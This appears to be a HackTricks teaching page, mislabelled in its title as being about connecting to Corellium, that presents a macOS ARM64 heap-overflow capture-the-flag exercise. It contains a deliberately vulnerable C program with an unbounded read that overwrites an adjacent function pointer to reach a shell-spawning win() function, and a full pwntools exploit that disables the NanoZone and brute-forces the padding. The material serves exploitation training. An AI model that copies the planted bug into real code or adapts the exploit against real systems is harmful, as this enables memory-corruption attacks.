iOS How to Connect to Corellium

{{#include ../../banners/hacktricks-training.md}}

Vuln Code

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
static void safe_cb(void) {
    puts("[*] safe_cb() called β€” nothing interesting here.");
}

__attribute__((noinline))
static void win(void) {
    puts("[+] win() reached β€” spawning shell...");
    fflush(stdout);
    system("/bin/sh");
    exit(0);
}

typedef void (*cb_t)(void);

typedef struct {
    cb_t cb;          // <--- Your target: overwrite this with win()
    char tag[16];     // Cosmetic (helps make the chunk non-tiny)
} hook_t;

static void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

int main(void) {
    // Make I/O deterministic
    setvbuf(stdout, NULL, _IONBF, 0);

    // Print address leak so exploit doesn't guess ASLR
    printf("[*] LEAK win() @ %p\n", (void*)&win);

    // 1) Allocate the overflow buffer
    size_t buf_sz = 128;
    char *buf = (char*)malloc(buf_sz);
    if (!buf) fatal("malloc buf");
    memset(buf, 'A', buf_sz);

    // 2) Allocate the hook object (likely adjacent in same magazine/size class)
    hook_t *h = (hook_t*)malloc(sizeof(hook_t));
    if (!h) fatal("malloc hook");
    h->cb = safe_cb;
    memcpy(h->tag, "HOOK-OBJ", 8);

    // A tiny bit of noise to look realistic (and to consume small leftover holes)
    void *spacers[16];
    for (int i = 0; i < 16; i++) {
        spacers[i] = malloc(64);
        if (spacers[i]) memset(spacers[i], 0xCC, 64);
    }

    puts("[*] You control a write into the 128B buffer (no bounds check).");
    puts("[*] Enter payload length (decimal), then the raw payload bytes.");

    // 3) Read attacker-chosen length and then read that many bytes β†’ overflow
    char line[64];
    if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
    unsigned long n = strtoul(line, NULL, 10);

    // BUG: no clamp to 128
    ssize_t got = read(STDIN_FILENO, buf, n);
    if (got < 0) fatal("read");
    printf("[*] Wrote %zd bytes into 128B buffer.\n", got);

    // 4) Trigger: call the hook's callback
    puts("[*] Calling h->cb() ...");
    h->cb();

    puts("[*] Done.");
    return 0;
}

Compile it with:

clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c

Exploit

⚠️ Warning
This exploit is setting the env variable `MallocNanoZone=0` to disable the NanoZone. This is needed to get adjacent allocations when calling `malloc`with small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected.
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
# 
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform

# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
    context.clear(arch='aarch64')
else:
    context.clear(arch='amd64')

BIN = './heap_groom'

def parse_leak(line):
    m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
    if not m:
        log.failure("Couldn't parse leak")
        sys.exit(1)
    return int(m.group(1), 16)

def build_payload(win_addr, extra_pad=0):
    # We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
    padding = b'A' * 128
    if extra_pad:
        padding += b'B' * extra_pad
    # Add the win address to overwrite the function pointer
    payload = padding + p64(win_addr)
    return payload

def main():
    # On macOS, we need to disable the Nano zone for adjacent allocations
    import os
    env = os.environ.copy()
    env['MallocNanoZone'] = '0'

    # The correct padding with MallocNanoZone=0 is 432 bytes
    # This makes the total distance 560 bytes (128 buffer + 432 padding)
    # Try the known working value first, then alternatives in case of heap variation
    candidates = [
        432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
        424,    # Try slightly less in case of alignment differences
        440,    # Try slightly more
        416,    # 16 bytes less
        448,    # 16 bytes more
        0,      # Direct adjacency (unlikely but worth trying)
    ]

    log.info("Starting heap overflow exploit for macOS...")

    for extra in candidates:
        log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
        p = process(BIN, env=env)

        # Read leak line
        leak_line = p.recvline()
        win_addr = parse_leak(leak_line)
        log.success(f"win() @ {hex(win_addr)}")

        # Skip prompt lines
        p.recvuntil(b"Enter payload length")
        p.recvline()

        # Build and send payload
        payload = build_payload(win_addr, extra_pad=extra)
        total_len = len(payload)

        log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")

        # Send length and payload
        p.sendline(str(total_len).encode())
        p.send(payload)

        # Check if we overwrote the function pointer successfully
        try:
            output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
            p.recvline(timeout=0.5)  # Skip the "..." part

            # Check if we hit win()
            response = p.recvline(timeout=0.5)
            if b"win() reached" in response:
                log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
                log.success("Shell spawned, entering interactive mode...")
                p.interactive()
                return
            elif b"safe_cb() called" in response:
                log.info(f"Failed with extra_pad={extra}, safe_cb was called")
            else:
                log.info(f"Failed with extra_pad={extra}, unexpected response")
        except:
            log.info(f"Failed with extra_pad={extra}, likely crashed")

        p.close()

    log.failure("All padding attempts failed. The heap layout might be different.")
    log.info("Try running the exploit multiple times as heap layout can be probabilistic.")

if __name__ == '__main__':
    main()

{{#include ../../banners/hacktricks-training.md}}